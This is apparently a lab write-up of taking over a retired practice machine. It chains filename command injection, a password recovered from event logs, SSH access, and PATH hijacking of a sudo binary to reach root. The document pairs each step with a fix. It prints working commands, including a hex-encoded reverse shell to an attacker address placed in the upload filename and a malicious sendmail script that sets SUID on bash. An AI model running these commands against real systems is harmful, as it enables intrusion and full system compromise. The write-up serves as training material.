Investigation
Summary
I scanned the target and found a single Apache web server hosting an image-forensics site at the virtual host eforenzics.htb. The site accepted image uploads and displayed ExifTool metadata analysis results; the upload handler passed the multipart filename field unsanitised into a shell command, so embedding shell metacharacters in the filename triggered remote code execution as the web-server process. From that foothold I found a Windows Security event log archived in an Outlook .msg file sitting in an internal investigation directory readable by the web process.
Extracting and parsing that log surfaced a plaintext password that had been accidentally typed into a Windows username field and captured verbatim in the log. Those credentials authenticated over SSH as local user smorton. Checking sudo privileges revealed the account could run a custom root-owned binary without a password.
Inspecting the binary with strings showed it calls sendmail via an unqualified (relative) path; planting a malicious sendmail script in /tmp and prepending /tmp to PATH before the sudo call caused the binary to execute my own code as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 2500 -T4 $TARGETecho "$TARGET eforenzics.htb" | sudo tee -a /etc/hostscurl -sS -I http://$TARGET/Exact commands 3
curl -sS http://eforenzics.htb/service.htmlcurl -sS -F 'image=@/tmp/test.jpg;type=image/jpeg' -F 'upload=Upload' http://eforenzics.htb/upload.phpcurl -sS http://eforenzics.htb/analysed_images/test.txtExact commands 2
nc -lvnp 4445CMD='bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'; HEX=$(printf %s "$CMD" | xxd -p -c 256); FNAME="echo ${HEX}|xxd -r -p|bash|"; curl -sS -F "image=@/tmp/tiny.jpg;type=image/jpeg;filename=${FNAME}" -F 'upload=Upload' http://eforenzics.htb/upload.phpFixSanitise the upload filename before passing it to any shell commandCritical
Exact commands 3
find /usr/local -type f 2>/dev/nullcp '/usr/local/investigation/Windows Event Logs for Analysis.msg' /var/www/html/analysed_images/winlogs.msgcurl -sS http://eforenzics.htb/analysed_images/winlogs.msg -o winlogs.msgFixRemove investigation artifacts from directories accessible to the web-server processHigh
Exact commands 4
7z x -oextract winlogs.msgcp 'extract/__attach_version1.0_#00000000/__substg1.0_37010102' logs.zip && 7z x -ologs logs.zipevtxexport -f xml logs/security.evtx > security.xmlgrep -aE 'TargetUserName|SubjectUserName' security.xml | grep -v 'SYSTEM\|LOCAL\|ANONYMOUS\|NETWORK'Exact commands 3
ssh smorton@$TARGETcat /home/smorton/user.txtsudo -lFixAssign unique, randomly generated passwords to every local accountHigh
Exact commands 6
strings /usr/bin/binaryldd /usr/bin/binaryprintf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/sendmail && chmod +x /tmp/sendmailsudo PATH=/tmp:$PATH /usr/bin/binary/bin/bash -pcat /root/root.txtFixRemove or harden the unrestricted sudo rule for /usr/bin/binaryCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |